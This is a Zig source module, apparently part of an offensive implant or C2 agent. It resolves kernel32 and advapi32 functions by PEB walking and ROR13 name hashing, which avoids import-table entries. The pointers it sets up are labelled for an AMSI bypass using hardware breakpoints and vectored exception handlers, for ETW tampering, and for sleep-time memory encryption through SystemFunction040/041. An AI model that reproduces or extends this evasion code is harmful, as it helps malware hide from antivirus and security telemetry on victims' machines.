97 lines
5.3 KiB
Zig
97 lines
5.3 KiB
Zig
// resolved function pointers from kernel32 + advapi32. all peb-walked, no iat entries added.
|
|
const windows = @import("std").os.windows;
|
|
const nt = @import("nt.zig");
|
|
const resolve = @import("resolve.zig");
|
|
|
|
pub const hash_ror13 = resolve.hash_ror13;
|
|
pub const resolve_api = resolve.resolve_api;
|
|
pub const get_module_by_hash = resolve.get_module_by_hash;
|
|
pub const get_func_by_hash = resolve.get_func_by_hash;
|
|
pub const NT_SUCCESS = nt.NT_SUCCESS;
|
|
|
|
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
|
|
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
|
|
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: windows.LPCSTR) callconv(nt.WINAPI) windows.HMODULE;
|
|
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(nt.WINAPI) ?windows.HMODULE;
|
|
pub const T_amsi_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
|
|
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque;
|
|
pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(nt.WINAPI) windows.ULONG;
|
|
pub const T_amsi_GetCurrentThread = *const fn () callconv(nt.WINAPI) windows.HANDLE;
|
|
pub const T_amsi_SetThreadContext = *const fn (hThread: windows.HANDLE, lpContext: *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL;
|
|
pub const T_amsi_SuspendThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
|
|
pub const T_amsi_ResumeThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
|
|
pub const T_etw_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
|
|
|
|
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
|
|
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
|
|
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
|
|
|
|
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
|
|
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
|
|
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
|
|
pub var amsi_remove_vectored_exception_handler: ?T_amsi_RemoveVectoredExceptionHandler = null;
|
|
pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null;
|
|
pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
|
|
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
|
|
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
|
|
|
|
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
|
|
|
|
pub var hwbp_add_veh: ?*const fn (first: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque = null;
|
|
pub var hwbp_get_thread: ?*const fn () callconv(nt.WINAPI) windows.HANDLE = null;
|
|
pub var hwbp_set_thread_ctx: ?*const fn (windows.HANDLE, *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL = null;
|
|
|
|
var g_ensure_done: bool = false;
|
|
|
|
pub fn ensure() void {
|
|
if (g_ensure_done) return;
|
|
g_ensure_done = true;
|
|
|
|
const k32_hash = hash_ror13("kernel32.dll");
|
|
|
|
if (comms_load_library_a == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| comms_load_library_a = @ptrCast(p);
|
|
}
|
|
|
|
if (amsi_load_library_w == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
|
}
|
|
|
|
if (amsi_get_proc_address == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
|
|
amsi_get_proc_address = @ptrCast(p);
|
|
etw_get_proc_address = @ptrCast(p);
|
|
}
|
|
}
|
|
|
|
if (amsi_add_vectored_exception_handler == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
|
}
|
|
if (amsi_remove_vectored_exception_handler == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
|
|
}
|
|
if (amsi_get_current_thread == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
|
|
}
|
|
if (amsi_set_thread_context == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
|
|
}
|
|
if (amsi_suspend_thread == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
|
|
}
|
|
if (amsi_resume_thread == null) {
|
|
if (resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
|
}
|
|
|
|
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
|
|
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
|
|
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
|
|
|
|
if (sleep_SystemFunction040 == null) {
|
|
const advapi_hash = hash_ror13("advapi32.dll");
|
|
_ = get_module_by_hash(advapi_hash);
|
|
if (resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
|
|
if (resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
|
|
}
|
|
}
|